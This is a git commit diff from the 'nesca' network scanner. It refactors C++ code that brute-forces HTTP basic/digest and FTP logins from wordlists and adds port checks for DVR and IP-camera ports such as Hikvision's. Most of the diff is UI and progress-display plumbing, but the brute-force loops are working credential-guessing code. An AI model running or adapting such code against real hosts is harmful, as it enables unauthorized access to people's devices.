mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 10:42:21 +00:00
Shuffle visualizer
This commit is contained in:
parent
68bfe1800c
commit
36f908a204
@ -25,8 +25,6 @@ int BA::checkOutput(const string *buffer, const char *ip, const int port) {
|
||||
|| Utils::ustrstr(*buffer, "403 Forbidden") != -1
|
||||
)
|
||||
{
|
||||
stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")");
|
||||
|
||||
Sleep(30000);
|
||||
return -1;
|
||||
}
|
||||
@ -47,33 +45,28 @@ inline bool commenceHikvisionEx1(const char *ip, const int port, bool digestMode
|
||||
return 0;
|
||||
}
|
||||
|
||||
lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
||||
lopaStr BA::BABrute(const char *ip, const int port) {
|
||||
bool digestMode = true;
|
||||
string lpString;
|
||||
lopaStr lps = {"UNKNOWN", "", ""};
|
||||
int passCounter = 0;
|
||||
int res = 0;
|
||||
int rowIndex = -1;
|
||||
|
||||
std::string buff;
|
||||
Connector con;
|
||||
Sleep(1000);
|
||||
|
||||
con.nConnect(ip, port, &buff);
|
||||
int isDig = Utils::isDigest(&buff);
|
||||
QString ipString = QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port);
|
||||
if (isDig == -1) {
|
||||
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 detected - <a style=\"color:orange;\" href=\"http://" + QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port) + "/\">" +
|
||||
QString(ip) + ":" + QString::number(port) + "</a></span>");
|
||||
stt->doEmitionFoundData("<span style=\"color:orange;\">No 401 detected - <a style=\"color:orange;\" href=\"http://" + ipString + "/\">" +
|
||||
ipString + "</a></span>");
|
||||
strcpy(lps.login, "");
|
||||
return lps;
|
||||
}
|
||||
else if (isDig == 1) {
|
||||
if (digestMode != true) {
|
||||
digestMode = true;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (digestMode != false) {
|
||||
digestMode = false;
|
||||
};
|
||||
}
|
||||
else if (isDig == 1) digestMode = true;
|
||||
else digestMode = false;
|
||||
|
||||
std::string buffer;
|
||||
|
||||
@ -96,6 +89,13 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
||||
else if (res != -1) {
|
||||
res = checkOutput(&buffer, ip, port);
|
||||
if (res == -2) {
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "404");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "404");
|
||||
}
|
||||
strcpy(lps.other, "404");
|
||||
return lps;
|
||||
}
|
||||
@ -104,31 +104,53 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
||||
break;
|
||||
}
|
||||
if (res == 1) {
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(loginLst[i]) + ":" + QString(passLst[j]), "OK");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(loginLst[i]) + ":" + QString(passLst[j]), "OK");
|
||||
}
|
||||
|
||||
strcpy(lps.login, loginLst[i]);
|
||||
strcpy(lps.pass, passLst[j]);
|
||||
return lps;
|
||||
};
|
||||
}
|
||||
|
||||
if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
|
||||
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||
|
||||
Sleep(100);
|
||||
if (BALogSwitched) {
|
||||
if (rowIndex == -1) {
|
||||
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
|
||||
QString(loginLst[i]) + ":" + QString(passLst[j]),
|
||||
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(loginLst[i]) + ":" + QString(passLst[j]),
|
||||
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
}
|
||||
else { rowIndex = -1; }
|
||||
++passCounter;
|
||||
Sleep(50);
|
||||
}
|
||||
}
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return lps;
|
||||
}
|
||||
|
||||
lopaStr BA::BALobby(const char *ip, const int port, bool digestMode) {
|
||||
lopaStr BA::BALobby(const char *ip, const int port) {
|
||||
if(gMaxBrutingThreads > 0) {
|
||||
|
||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
||||
|
||||
++baCount;
|
||||
++BrutingThrds;
|
||||
const lopaStr &lps = BABrute(ip, port, digestMode);
|
||||
const lopaStr &lps = BABrute(ip, port);
|
||||
--BrutingThrds;
|
||||
|
||||
return lps;
|
||||
|
@ -8,11 +8,11 @@
|
||||
|
||||
class BA {
|
||||
private:
|
||||
static lopaStr BABrute(const char *ip, const int port, bool digestMode);
|
||||
static lopaStr BABrute(const char *ip, const int port);
|
||||
|
||||
public:
|
||||
static int checkOutput(const string *buffer, const char *ip, const int port);
|
||||
static lopaStr BALobby(const char *ip, const int port, bool digestMode);
|
||||
static lopaStr BALobby(const char *ip, const int port);
|
||||
};
|
||||
|
||||
#endif // BASICAUTH_H
|
||||
|
@ -2,7 +2,6 @@
|
||||
#include "SSHAuth.h"
|
||||
#include "Filter.h"
|
||||
|
||||
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
int _pingMyTarget(const char *ip)
|
||||
{
|
||||
@ -197,16 +196,14 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
||||
else res = curl_easy_perform(curl);
|
||||
|
||||
int sz = buffer->size();
|
||||
|
||||
curl_easy_cleanup(curl);
|
||||
if (res == CURLE_OK || (port == 21 && sz > 0)) {
|
||||
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
|
||||
Activity += sz;
|
||||
|
||||
curl_easy_cleanup(curl);
|
||||
return sz;
|
||||
} else {
|
||||
curl_easy_cleanup(curl);
|
||||
if (res == 6) return -2;
|
||||
if (res == 56 && port == 8000) return 1; //Hikvision
|
||||
else if (res != 28 &&
|
||||
res != 7 &&
|
||||
res != 13 &&
|
||||
@ -219,7 +216,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
||||
res != 23)
|
||||
{
|
||||
if (res == 5) {
|
||||
stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. ");
|
||||
stt->doEmitionRedFoundData("The given proxy host could not be resolved.");
|
||||
return -2;
|
||||
} else if (res == 8) {
|
||||
stt->doEmitionFoundData("Strange ftp reply. (" +
|
||||
@ -251,6 +248,28 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
||||
};
|
||||
}
|
||||
|
||||
bool portCheck(const char * sDVRIP, int wDVRPort) {
|
||||
CURL *curl = curl_easy_init();
|
||||
if (curl != NULL) {
|
||||
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
|
||||
curl_easy_setopt(curl, CURLOPT_URL, sDVRIP);
|
||||
curl_easy_setopt(curl, CURLOPT_PORT, wDVRPort);
|
||||
int proxyPort = std::atoi(gProxyPort);
|
||||
if (proxyPort > 0 && proxyPort < 65535) curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
|
||||
curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
|
||||
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
|
||||
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut);
|
||||
curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 1L);
|
||||
|
||||
int res = curl_easy_perform(curl);
|
||||
curl_easy_cleanup(curl);
|
||||
if (res != CURLE_OK) {
|
||||
return false;
|
||||
}
|
||||
else return true;
|
||||
}
|
||||
else return false;
|
||||
}
|
||||
int Connector::connectToPort(char* ip, int port)
|
||||
{
|
||||
if(gPingNScan)
|
||||
@ -261,6 +280,7 @@ int Connector::connectToPort(char* ip, int port)
|
||||
std::string buffer;
|
||||
int size = 0;
|
||||
|
||||
if (port != 37777 && port != 8000 && port != 34567 && port != 9000){
|
||||
if (port == 22) size = SSHAuth::SSHLobby(ip, port, &buffer); //SSH
|
||||
else size = nConnect(ip, port, &buffer);
|
||||
|
||||
@ -272,5 +292,13 @@ int Connector::connectToPort(char* ip, int port)
|
||||
lx.filler(ip, port, &buffer, size, &lx);
|
||||
}
|
||||
else if (size == -2) return -2;
|
||||
} else {
|
||||
if (portCheck(ip, port)) {
|
||||
++Alive;//ME2
|
||||
++found;//PieStat
|
||||
Lexems lx;
|
||||
lx.filler(ip, port, &buffer, size, &lx);
|
||||
};
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
26
Connector.h
26
Connector.h
@ -10,6 +10,27 @@
|
||||
#pragma comment(lib, "iphlpapi.lib")
|
||||
#pragma comment(lib,"curllib.lib")
|
||||
#endif
|
||||
|
||||
#include <openssl/err.h>
|
||||
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
#define MUTEX_TYPE HANDLE
|
||||
#define MUTEX_SETUP(x) (x) = CreateMutex(NULL, FALSE, NULL)
|
||||
#define MUTEX_CLEANUP(x) CloseHandle(x)
|
||||
#define MUTEX_LOCK(x) WaitForSingleObject((x), INFINITE)
|
||||
#define MUTEX_UNLOCK(x) ReleaseMutex(x)
|
||||
#define THREAD_ID GetCurrentThreadId()
|
||||
#else
|
||||
#include <pthread.h>
|
||||
#define MUTEX_TYPE pthread_mutex_t
|
||||
#define MUTEX_SETUP(x) pthread_mutex_init(&(x), NULL)
|
||||
#define MUTEX_CLEANUP(x) pthread_mutex_destroy(&(x))
|
||||
#define MUTEX_LOCK(x) pthread_mutex_lock(&(x))
|
||||
#define MUTEX_UNLOCK(x) pthread_mutex_unlock(&(x))
|
||||
#define THREAD_ID pthread_self()
|
||||
#endif
|
||||
|
||||
|
||||
class Connector {
|
||||
|
||||
public:
|
||||
@ -18,11 +39,6 @@ public:
|
||||
const std::vector<std::string> *customHeaders = NULL,
|
||||
const std::string *lpString = NULL,
|
||||
bool digestMode = false);
|
||||
//static int nConnect2(const char* ip, const int port, std::string *buffer,
|
||||
// const char *postData = NULL,
|
||||
// const std::vector<std::string> *customHeaders = NULL,
|
||||
// const std::string *lpString = NULL,
|
||||
// bool digestMode = false);
|
||||
int connectToPort(char *ip, int port);
|
||||
};
|
||||
#endif // CONNECTOR_H
|
||||
|
@ -40,8 +40,8 @@ int MakePolygonLine(int gWidth)
|
||||
xtx = x + tx;
|
||||
if(xtx > 1 && xtx < 31)
|
||||
{
|
||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - AnomC1 * 2 - fact1 : ME2YPOS);
|
||||
if(AnomC1 > 0)
|
||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - camerasC1 * 2 - fact1 : ME2YPOS);
|
||||
if (camerasC1 > 0)
|
||||
{
|
||||
if(xtx < 16 ) fact1+=2;
|
||||
else fact1-=2;
|
||||
@ -50,9 +50,9 @@ int MakePolygonLine(int gWidth)
|
||||
|
||||
if(xtx > 34 && xtx < 72)
|
||||
{
|
||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - WF * 2 - fact2 : ME2YPOS);
|
||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*WF*/0 * 2 - fact2 : ME2YPOS);
|
||||
|
||||
if(WF > 0)
|
||||
if(/*WF*/0 > 0)
|
||||
{
|
||||
if(xtx < 52 ) fact2+=2;
|
||||
else fact2-=2;
|
||||
@ -72,9 +72,9 @@ int MakePolygonLine(int gWidth)
|
||||
|
||||
if(xtx > 114 && xtx < 152)
|
||||
{
|
||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Susp * 2 - fact4 : ME2YPOS);
|
||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - other * 2 - fact4 : ME2YPOS);
|
||||
|
||||
if(Susp > 0)
|
||||
if (other > 0)
|
||||
{
|
||||
if(xtx < 132 ) fact4+=2;
|
||||
else fact4-=2;
|
||||
@ -94,9 +94,9 @@ int MakePolygonLine(int gWidth)
|
||||
|
||||
if(xtx > 194 && xtx < 232)
|
||||
{
|
||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - Lowl * 2 - fact6 : ME2YPOS);
|
||||
qp = QPointF(xtx, state ? qrand() % 3 + ME2YPOS - /*Lowl*/0 * 2 - fact6 : ME2YPOS);
|
||||
|
||||
if(Lowl > 0)
|
||||
if(/*Lowl*/0 > 0)
|
||||
{
|
||||
if(xtx < 212 ) fact6+=2;
|
||||
else fact6-=2;
|
||||
@ -118,14 +118,14 @@ int MakePolygonLine(int gWidth)
|
||||
tx = x;
|
||||
};
|
||||
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
camerasC1 = 0;
|
||||
//WF = 0;
|
||||
baCount = 0;
|
||||
filtered = 0;
|
||||
Overl = 0;
|
||||
Lowl = 0;
|
||||
//Lowl = 0;
|
||||
Alive = 0;
|
||||
Susp = 0;
|
||||
other = 0;
|
||||
|
||||
DrawerTh_ME2Scanner::polyVect.append(QPointF(gWidth, ME2YPOS));
|
||||
return DrawerTh_ME2Scanner::polyVect.size();
|
||||
@ -148,14 +148,14 @@ void DrawerTh_ME2Scanner::run()
|
||||
else
|
||||
{
|
||||
msleep(1000);
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
camerasC1 = 0;
|
||||
//WF = 0;
|
||||
baCount = 0;
|
||||
filtered = 0;
|
||||
Overl = 0;
|
||||
Lowl = 0;
|
||||
//Lowl = 0;
|
||||
Alive = 0;
|
||||
Susp = 0;
|
||||
other = 0;
|
||||
};
|
||||
msleep(100);
|
||||
};
|
||||
|
@ -12,10 +12,10 @@ void DrawerTh_QoSScanner::run()
|
||||
{
|
||||
lstOfLabels.clear();
|
||||
lstOfLabels.append(Alive);
|
||||
lstOfLabels.append(AnomC1);
|
||||
lstOfLabels.append(WF);
|
||||
lstOfLabels.append(Susp);
|
||||
lstOfLabels.append(Lowl);
|
||||
lstOfLabels.append(camerasC1);
|
||||
//lstOfLabels.append(WF);
|
||||
lstOfLabels.append(other);
|
||||
//lstOfLabels.append(Lowl);
|
||||
lstOfLabels.append(baCount);
|
||||
lstOfLabels.append(Overl);
|
||||
lstOfLabels.append(ssh);
|
||||
@ -29,25 +29,25 @@ void DrawerTh_QoSScanner::run()
|
||||
else
|
||||
{
|
||||
msleep(500);
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
camerasC1 = 0;
|
||||
//WF = 0;
|
||||
baCount = 0;
|
||||
filtered = 0;
|
||||
Overl = 0;
|
||||
Lowl = 0;
|
||||
//Lowl = 0;
|
||||
Alive = 0;
|
||||
Susp = 0;
|
||||
other = 0;
|
||||
ssh = 0;
|
||||
};
|
||||
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
camerasC1 = 0;
|
||||
//WF = 0;
|
||||
baCount = 0;
|
||||
filtered = 0;
|
||||
Overl = 0;
|
||||
Lowl = 0;
|
||||
//Lowl = 0;
|
||||
Alive = 0;
|
||||
Susp = 0;
|
||||
other = 0;
|
||||
ssh = 0;
|
||||
msleep(2000);
|
||||
};
|
||||
|
@ -104,15 +104,15 @@ void DrawerTh_VoiceScanner::run()
|
||||
{
|
||||
if(widgetIsHidden == false && tray->isVisible() == false)
|
||||
{
|
||||
makeVoiceLine(Alive, AnomC1, WF, Susp, Lowl, baCount, Overl, WF, ssh);
|
||||
makeVoiceLine(Alive, camerasC1, 0, other, 0, baCount, Overl, 0, ssh);
|
||||
Alive = 0;
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
camerasC1 = 0;
|
||||
//WF = 0;
|
||||
filtered = 0;
|
||||
Lowl = 0;
|
||||
//Lowl = 0;
|
||||
baCount = 0;
|
||||
Overl = 0;
|
||||
Susp = 0;
|
||||
other = 0;
|
||||
ssh = 0;
|
||||
|
||||
vsTh->doEmitAddLine();
|
||||
@ -122,13 +122,13 @@ void DrawerTh_VoiceScanner::run()
|
||||
{
|
||||
msleep(500);
|
||||
Alive = 0;
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
camerasC1 = 0;
|
||||
//WF = 0;
|
||||
filtered = 0;
|
||||
Lowl = 0;
|
||||
//Lowl = 0;
|
||||
baCount = 0;
|
||||
Overl = 0;
|
||||
Susp = 0;
|
||||
other = 0;
|
||||
ssh = 0;
|
||||
};
|
||||
};
|
||||
|
61
FTPAuth.cpp
61
FTPAuth.cpp
@ -17,26 +17,26 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
|
||||
|
||||
int res = 0;
|
||||
int passCounter = 0;
|
||||
int rowIndex = -1;
|
||||
|
||||
char login[128] = {0};
|
||||
char pass[32] = {0};
|
||||
char nip[128] = { 0 };
|
||||
|
||||
for(int i = 0; i < MaxLogin; ++i)
|
||||
for (int i = 0; i < MaxFTPLogin; ++i)
|
||||
{
|
||||
if(!globalScanFlag) return lps;
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||
if(strlen(loginLst[i]) <= 1) continue;
|
||||
strcpy(login, ftpLoginLst[i]);
|
||||
if (strlen(login) <= 1) continue;
|
||||
|
||||
strcpy(login, loginLst[i]);
|
||||
|
||||
for(int j = 0; j < MaxPass; ++j)
|
||||
for (int j = 0; j < MaxFTPPass; ++j)
|
||||
{
|
||||
if(!globalScanFlag) return lps;
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||
if(strlen(passLst[j]) <= 1) continue;
|
||||
|
||||
strcpy(pass, passLst[j]);
|
||||
strcpy(pass, ftpPassLst[j]);
|
||||
if (strlen(pass) <= 1) continue;
|
||||
|
||||
lpString = string(login) + ":" + string(pass);
|
||||
|
||||
@ -44,23 +44,54 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
|
||||
sprintf(nip, "ftp://%s", ip);
|
||||
Connector con;
|
||||
res = con.nConnect(nip, port, &buffer, NULL, NULL, &lpString);
|
||||
if (res == -2) return lps;
|
||||
if (res == -2) {
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return lps;
|
||||
}
|
||||
else if (res != -1) {
|
||||
if (!globalScanFlag) return lps;
|
||||
strcpy(lps.login, login);
|
||||
strcpy(lps.pass, pass);
|
||||
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(login) + ":" + QString(pass), "OK");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
|
||||
}
|
||||
|
||||
return lps;
|
||||
};
|
||||
|
||||
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) +
|
||||
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||
|
||||
Sleep(100);
|
||||
if (BALogSwitched) {
|
||||
if (rowIndex == -1) {
|
||||
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
|
||||
QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxFTPPass*MaxFTPLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
}
|
||||
else { rowIndex = -1; }
|
||||
++passCounter;
|
||||
Sleep(50);
|
||||
}
|
||||
}
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return lps;
|
||||
}
|
||||
|
||||
@ -69,15 +100,13 @@ lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) {
|
||||
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
||||
|
||||
++baCount;
|
||||
//BruteUtils::BConInc();
|
||||
++BrutingThrds;
|
||||
const lopaStr &lps = FTPBrute(ip, port, ps);
|
||||
--BrutingThrds;
|
||||
//BruteUtils::BConDec();
|
||||
|
||||
return lps;
|
||||
} else {
|
||||
lopaStr lps = {"UNKNOWN", "", ""};;
|
||||
lopaStr lps = {"UNKNOWN", "", ""};
|
||||
return lps;
|
||||
}
|
||||
}
|
||||
|
@ -48,12 +48,12 @@ void checkWeb(const char *fileName, std::string *oldLM) {
|
||||
|
||||
void FileDownloader::checkWebFiles() {
|
||||
while (true) {
|
||||
checkWeb("negatives.txt", &lastModifiedNeg);
|
||||
checkWeb("login.txt", &lastModifiedL);
|
||||
checkWeb("pass.txt", &lastModifiedP);
|
||||
checkWeb("sshpass.txt", &lastModifiedSSH);
|
||||
checkWeb("wflogin.txt", &lastModifiedWFL);
|
||||
checkWeb("wfpass.txt", &lastModifiedWFP);
|
||||
checkWeb(NEGATIVE_FN, &lastModifiedNeg);
|
||||
checkWeb(LOGIN_FN, &lastModifiedL);
|
||||
checkWeb(PASS_FN, &lastModifiedP);
|
||||
checkWeb(SSH_PASS_FN, &lastModifiedSSH);
|
||||
checkWeb(WF_LOGIN_FN, &lastModifiedWFL);
|
||||
checkWeb(WF_PASS_FN, &lastModifiedWFP);
|
||||
Sleep(600000);
|
||||
}
|
||||
}
|
||||
|
132
FileUpdater.cpp
132
FileUpdater.cpp
@ -3,6 +3,11 @@
|
||||
#include "STh.h"
|
||||
#include "mainResources.h"
|
||||
|
||||
char **loginLst, **passLst;
|
||||
char **wfLoginLst, **wfPassLst;
|
||||
char **ftpLoginLst, **ftpPassLst;
|
||||
char **sshlpLst;
|
||||
|
||||
bool FileUpdater::running = false;
|
||||
long FileUpdater::oldNegLstSize = 0;
|
||||
long FileUpdater::oldLoginLstSize = 0;
|
||||
@ -10,6 +15,8 @@ long FileUpdater::oldPassLstSize = 0;
|
||||
long FileUpdater::oldSSHLstSize = 0;
|
||||
long FileUpdater::oldWFLoginLstSize = 0;
|
||||
long FileUpdater::oldWFPassLstSize = 0;
|
||||
long FileUpdater::oldFTPLoginLstSize = 0;
|
||||
long FileUpdater::oldFTPPassLstSize = 0;
|
||||
int FileUpdater::gNegativeSize = 0;
|
||||
std::mutex FileUpdater::filesUpdatingMutex;
|
||||
std::condition_variable FileUpdater::cv;
|
||||
@ -18,7 +25,7 @@ std::unique_lock<std::mutex> FileUpdater::lk;
|
||||
std::vector<std::string> FileUpdater::negativeVector;
|
||||
|
||||
void negativeLoader() {
|
||||
std::ifstream file("negatives.txt");
|
||||
std::ifstream file(NEGATIVE_FN);
|
||||
std::string line;
|
||||
|
||||
while (std::getline(file, line)) FileUpdater::negativeVector.push_back(line);
|
||||
@ -41,7 +48,7 @@ void updateLogin() {
|
||||
|
||||
char buffFG[32] = {0};
|
||||
|
||||
FILE *loginList = fopen("login.txt", "r");
|
||||
FILE *loginList = fopen(LOGIN_FN, "r");
|
||||
|
||||
if(loginList != NULL)
|
||||
{
|
||||
@ -94,7 +101,7 @@ void updatePass() {
|
||||
|
||||
char buffFG[32] = {0};
|
||||
|
||||
FILE *passList = fopen("pass.txt", "r");
|
||||
FILE *passList = fopen(PASS_FN, "r");
|
||||
|
||||
if(passList != NULL)
|
||||
{
|
||||
@ -148,7 +155,7 @@ void updateSSH() {
|
||||
char buffFG[32] = {0};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *sshlpList = fopen("sshpass.txt", "r");
|
||||
FILE *sshlpList = fopen(SSH_PASS_FN, "r");
|
||||
|
||||
if(sshlpList != NULL)
|
||||
{
|
||||
@ -202,7 +209,7 @@ void updateWFLogin() {
|
||||
char buffFG[32] = {0};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *wfLoginList = fopen("wflogin.txt", "r");
|
||||
FILE *wfLoginList = fopen(WF_LOGIN_FN, "r");
|
||||
|
||||
if(wfLoginList != NULL)
|
||||
{
|
||||
@ -251,7 +258,7 @@ void updateWFPass() {
|
||||
char buffFG[32] = {0};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *wfPassList = fopen("wfpass.txt", "r");
|
||||
FILE *wfPassList = fopen(WF_PASS_FN, "r");
|
||||
|
||||
if(wfPassList != NULL)
|
||||
{
|
||||
@ -286,7 +293,104 @@ void updateWFPass() {
|
||||
fclose(wfPassList);
|
||||
}
|
||||
}
|
||||
void updateFTPLogin() {
|
||||
|
||||
if (ftpLoginLst != NULL)
|
||||
{
|
||||
for (int i = 0; i < MaxFTPLogin; ++i) delete[]ftpLoginLst[i];
|
||||
delete[]ftpLoginLst;
|
||||
ftpLoginLst = NULL;
|
||||
};
|
||||
|
||||
MaxFTPLogin = 0;
|
||||
|
||||
char buffFG[32] = { 0 };
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *ftpLoginList = fopen(FTP_LOGIN_FN, "r");
|
||||
|
||||
if (ftpLoginList != NULL)
|
||||
{
|
||||
while (fgets(buffFG, 32, ftpLoginList) != NULL)
|
||||
{
|
||||
MaxFTPLogin++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(ftpLoginList);
|
||||
|
||||
ftpLoginLst = new char*[MaxFTPLogin];
|
||||
|
||||
for (int j = 0; j < MaxFTPLogin; j++)
|
||||
{
|
||||
ftpLoginLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while (fgets(buffFG, 32, ftpLoginList) != NULL)
|
||||
{
|
||||
memset(ftpLoginLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if (strstr(buffFG, "\n") != NULL) strncat(ftpLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(ftpLoginLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
if (FileUpdater::oldFTPLoginLstSize == 0) stt->doEmitionGreenFoundData("FTP login list loaded (" + QString::number(MaxFTPLogin) + " entries)");
|
||||
else stt->doEmitionFoundData("<font color=\"Pink\">FTP login list updated (" + QString::number(MaxFTPLogin) + " entries)</font>");
|
||||
|
||||
fclose(ftpLoginList);
|
||||
}
|
||||
}
|
||||
void updateFTPPass() {
|
||||
|
||||
if (ftpPassLst != NULL)
|
||||
{
|
||||
for (int i = 0; i < MaxFTPPass; ++i) delete[]ftpPassLst[i];
|
||||
delete[]ftpPassLst;
|
||||
ftpPassLst = NULL;
|
||||
};
|
||||
|
||||
MaxFTPPass = 0;
|
||||
|
||||
char buffFG[32] = { 0 };
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *ftpPassList = fopen(FTP_PASS_FN, "r");
|
||||
|
||||
if (ftpPassList != NULL)
|
||||
{
|
||||
while (fgets(buffFG, 32, ftpPassList) != NULL)
|
||||
{
|
||||
++MaxFTPPass;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(ftpPassList);
|
||||
|
||||
ftpPassLst = new char*[MaxFTPPass];
|
||||
|
||||
for (int j = 0; j < MaxFTPPass; j++)
|
||||
{
|
||||
ftpPassLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while (fgets(buffFG, 32, ftpPassList) != NULL)
|
||||
{
|
||||
memset(ftpPassLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if (strstr(buffFG, "\n") != NULL) strncat(ftpPassLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(ftpPassLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
if (FileUpdater::oldFTPPassLstSize == 0) stt->doEmitionGreenFoundData("FTP password list loaded (" + QString::number(MaxFTPPass) + " entries)");
|
||||
else stt->doEmitionFoundData("<font color=\"Pink\">FTP password list updated (" + QString::number(MaxFTPPass) + " entries)</font>");
|
||||
|
||||
fclose(ftpPassList);
|
||||
}
|
||||
}
|
||||
long getFileSize(const char *fileName) {
|
||||
std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary);
|
||||
return in.tellg();
|
||||
@ -316,12 +420,14 @@ void FileUpdater::updateLists() {
|
||||
}
|
||||
|
||||
void FileUpdater::loadOnce() {
|
||||
updateList("negatives.txt", &oldNegLstSize, (void*(*)(void))updateNegatives);
|
||||
updateList("login.txt", &oldLoginLstSize, (void*(*)(void))updateLogin);
|
||||
updateList("pass.txt", &oldPassLstSize, (void*(*)(void))updatePass);
|
||||
